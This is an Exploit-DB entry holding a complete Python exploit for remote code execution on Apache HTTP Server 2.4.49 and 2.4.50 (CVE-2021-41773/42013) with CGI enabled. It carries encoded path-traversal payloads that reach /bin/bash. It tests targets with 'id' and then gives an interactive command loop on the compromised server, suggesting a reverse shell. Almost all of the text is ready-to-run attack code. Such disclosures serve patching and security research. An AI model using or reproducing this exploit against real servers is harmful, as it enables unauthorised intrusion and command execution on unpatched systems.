Exploit-DB #50512
Description: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
Type: webapps
Platform: multiple
Date: 2021-11-11
Author: Valentin Lobstein

Exploit:
# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
# Date: 11/11/2021
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://apache.org/
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
# Tested on: Debian GNU/Linux
# CVE : CVE-2021-41773 / CVE-2021-42013
# Credits : Lucas Schnell


#!/usr/bin/env python3
#coding: utf-8

import os
import re
import sys
import time
import requests
from colorama import Fore,Style


header = '''\033[1;91m
    
     ‚ĖĄ‚ĖĄ‚ĖĄ       ‚Ėą‚Ėą‚Ėď‚Ėą‚Ėą‚Ėą   ‚ĖĄ‚ĖĄ‚ĖĄ       ‚ĖĄ‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ   ‚Ėą‚Ėą‚ĖĎ ‚Ėą‚Ėą ‚Ėď‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą     ‚Ėą‚Ėą‚ĖÄ‚Ėą‚Ėą‚Ėą   ‚ĖĄ‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ  ‚Ėď‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą 
    ‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ    ‚Ėď‚Ėą‚Ėą‚ĖĎ  ‚Ėą‚Ėą‚Ėí‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ    ‚Ėí‚Ėą‚Ėą‚ĖÄ ‚ĖÄ‚Ėą  ‚Ėď‚Ėą‚Ėą‚ĖĎ ‚Ėą‚Ėą‚Ėí‚Ėď‚Ėą   ‚ĖÄ    ‚Ėď‚Ėą‚Ėą ‚Ėí ‚Ėą‚Ėą‚Ėí‚Ėí‚Ėą‚Ėą‚ĖÄ ‚ĖÄ‚Ėą  ‚Ėď‚Ėą   ‚ĖÄ 
    ‚Ėí‚Ėą‚Ėą  ‚ĖÄ‚Ėą‚ĖĄ  ‚Ėď‚Ėą‚Ėą‚ĖĎ ‚Ėą‚Ėą‚Ėď‚Ėí‚Ėí‚Ėą‚Ėą  ‚ĖÄ‚Ėą‚ĖĄ  ‚Ėí‚Ėď‚Ėą    ‚ĖĄ ‚Ėí‚Ėą‚Ėą‚ĖÄ‚ĖÄ‚Ėą‚Ėą‚ĖĎ‚Ėí‚Ėą‚Ėą‚Ėą      ‚Ėď‚Ėą‚Ėą ‚ĖĎ‚ĖĄ‚Ėą ‚Ėí‚Ėí‚Ėď‚Ėą    ‚ĖĄ ‚Ėí‚Ėą‚Ėą‚Ėą   
    ‚ĖĎ‚Ėą‚Ėą‚ĖĄ‚ĖĄ‚ĖĄ‚ĖĄ‚Ėą‚Ėą ‚Ėí‚Ėą‚Ėą‚ĖĄ‚Ėą‚Ėď‚Ėí ‚Ėí‚ĖĎ‚Ėą‚Ėą‚ĖĄ‚ĖĄ‚ĖĄ‚ĖĄ‚Ėą‚Ėą ‚Ėí‚Ėď‚Ėď‚ĖĄ ‚ĖĄ‚Ėą‚Ėą‚Ėí‚ĖĎ‚Ėď‚Ėą ‚ĖĎ‚Ėą‚Ėą ‚Ėí‚Ėď‚Ėą  ‚ĖĄ    ‚Ėí‚Ėą‚Ėą‚ĖÄ‚ĖÄ‚Ėą‚ĖĄ  ‚Ėí‚Ėď‚Ėď‚ĖĄ ‚ĖĄ‚Ėą‚Ėą‚Ėí‚Ėí‚Ėď‚Ėą  ‚ĖĄ 
    ‚Ėď‚Ėą   ‚Ėď‚Ėą‚Ėą‚Ėí‚Ėí‚Ėą‚Ėą‚Ėí ‚ĖĎ  ‚ĖĎ ‚Ėď‚Ėą   ‚Ėď‚Ėą‚Ėą‚Ėí‚Ėí ‚Ėď‚Ėą‚Ėą‚Ėą‚ĖÄ ‚ĖĎ‚ĖĎ‚Ėď‚Ėą‚Ėí‚ĖĎ‚Ėą‚Ėą‚Ėď‚ĖĎ‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí   ‚ĖĎ‚Ėą‚Ėą‚Ėď ‚Ėí‚Ėą‚Ėą‚Ėí‚Ėí ‚Ėď‚Ėą‚Ėą‚Ėą‚ĖÄ ‚ĖĎ‚ĖĎ‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí
    ‚Ėí‚Ėí   ‚Ėď‚Ėí‚Ėą‚ĖĎ‚Ėí‚Ėď‚Ėí‚ĖĎ ‚ĖĎ  ‚ĖĎ ‚Ėí‚Ėí   ‚Ėď‚Ėí‚Ėą‚ĖĎ‚ĖĎ ‚ĖĎ‚Ėí ‚Ėí  ‚ĖĎ ‚Ėí ‚ĖĎ‚ĖĎ‚Ėí‚ĖĎ‚Ėí‚ĖĎ‚ĖĎ ‚Ėí‚ĖĎ ‚ĖĎ   ‚ĖĎ ‚Ėí‚Ėď ‚ĖĎ‚Ėí‚Ėď‚ĖĎ‚ĖĎ ‚ĖĎ‚Ėí ‚Ėí  ‚ĖĎ‚ĖĎ‚ĖĎ ‚Ėí‚ĖĎ ‚ĖĎ
    ‚Ėí   ‚Ėí‚Ėí ‚ĖĎ‚ĖĎ‚Ėí ‚ĖĎ       ‚Ėí   ‚Ėí‚Ėí ‚ĖĎ  ‚ĖĎ  ‚Ėí    ‚Ėí ‚ĖĎ‚Ėí‚ĖĎ ‚ĖĎ ‚ĖĎ ‚ĖĎ  ‚ĖĎ     ‚ĖĎ‚Ėí ‚ĖĎ ‚Ėí‚ĖĎ  ‚ĖĎ  ‚Ėí    ‚ĖĎ ‚ĖĎ  ‚ĖĎ
    ‚ĖĎ   ‚Ėí   ‚ĖĎ‚ĖĎ         ‚ĖĎ   ‚Ėí   ‚ĖĎ         ‚ĖĎ  ‚ĖĎ‚ĖĎ ‚ĖĎ   ‚ĖĎ        ‚ĖĎ‚ĖĎ   ‚ĖĎ ‚ĖĎ           ‚ĖĎ 
''' + Style.RESET_ALL


if len(sys.argv) < 2 :
    print( 'Use: python3 file.py ip:port ' )
    sys.exit()

def end():
    print("\t\033[1;91m[!] Bye bye !")
    time.sleep(0.5)
    sys.exit(1)

def commands(url,command,session):
    directory = mute_command(url,'pwd')
    user = mute_command(url,'whoami')
    hostname = mute_command(url,'hostname')
    advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)')
    command = input(f"{Fore.RED}‚ē≠‚ĒÄ{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}\n{Fore.RED}‚ēį‚ĒÄ{Fore.YELLOW}$ {Style.RESET_ALL}")    
    command = f"echo; {command};"
    req = requests.Request('POST', url=url, data=command)
    prepare = req.prepare()
    prepare.url = url  
    response = session.send(prepare, timeout=5)
    output = response.text
    print(output)
    if 'clear' in command:
        os.system('/usr/bin/clear')
        print(header)
    if 'exit' in command:
        end()

def mute_command(url,command):
    session = requests.Session()
    req = requests.Request('POST', url=url, data=f"echo; {command}")
    prepare = req.prepare()
    prepare.url = url  
    response = session.send(prepare, timeout=5)
    return response.text.strip()


def exploitRCE(payload):
    s = requests.Session()
    try:
        host = sys.argv[1]
        if 'http' not in host:
            url = 'http://'+ host + payload
        else:
            url = host + payload 
        session = requests.Session()
        command = "echo; id"
        req = requests.Request('POST', url=url, data=command)
        prepare = req.prepare()
        prepare.url = url  
        response = session.send(prepare, timeout=5)
        output = response.text
        if "uid" in output:
            choice = "Y"
            print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host)
            print("[!] Sortie:\n\n" + Fore.YELLOW + output )
            choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ")
            if choice.lower() in ['','y','yes']:
                while True:
                    commands(url,command,session)  
            else:
                end()       
        else :
            print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host)
    except KeyboardInterrupt:
        end()

def main():
    try:
        apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash'
        apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash'
        payloads = [apache2449_payload,apache2450_payload]
        choice = len(payloads) + 1
        print(header)
        print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE")
        while choice >= len(payloads) and choice >= 0:
            choice = int(input('[~] Choice : '))
            if choice < len(payloads):
                exploitRCE(payloads[choice])
    except KeyboardInterrupt:
            print("\n\033[1;91m[!] Bye bye !")
            time.sleep(0.5)
            sys.exit(1)

if __name__ == '__main__':
    main()